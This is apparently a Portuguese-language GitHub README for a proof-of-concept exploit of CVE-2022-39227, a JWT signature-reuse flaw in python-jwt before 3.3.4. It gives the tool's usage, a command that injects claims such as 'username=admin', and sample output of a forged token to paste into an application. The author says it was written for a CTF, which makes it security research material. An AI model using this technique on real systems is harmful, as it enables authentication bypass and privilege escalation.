user0x1337/cve-2022-39227CVE-2022-39227 : Prova de Conceito
CVE-2022-39227 : Prova de Conceito
Prova de conceito para o CVE-2022-39227. De acordo com este CVE, existe uma falha na verificação do JSON Web Token. É possível, com um token válido, reutilizar a sua assinatura com claims modificadas.
Requisitos:
Para facilitar o uso, escrevi um PoC simples durante um CTF:
usage: CVE-2022-39227-PoC [-h] -j TOKEN -i CLAIM
Proof of Concept for the JWT verification bug in python-jwt version < 3.3.4
options:
-h, --help show this help message and exit
-j TOKEN, --jwt_token TOKEN
Original and valid JWT Token returned by the application
-i CLAIM, --injected_claim CLAIM
Inject claim using the form "key=value", e.g. "username=admin". Use "," for more claims
(e.g. username=admin,id=3)
Uso:
python3 cve_2022_39227.py -j <JWT-WEBTOKEN> -i "<KEY>=<VALUE>"
Retorno:
{" <SNIP>":"","protected":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"<SNIP>","signature":"18-caQyY-mnreIUb53kk5qI-axRoxSzQKyT033yOdUw"}
O valor de retorno é uma forma mista de JSON e representação compacta. Você precisa colar o valor inteiro, incluindo "{" e "}", como seu novo token web JWT.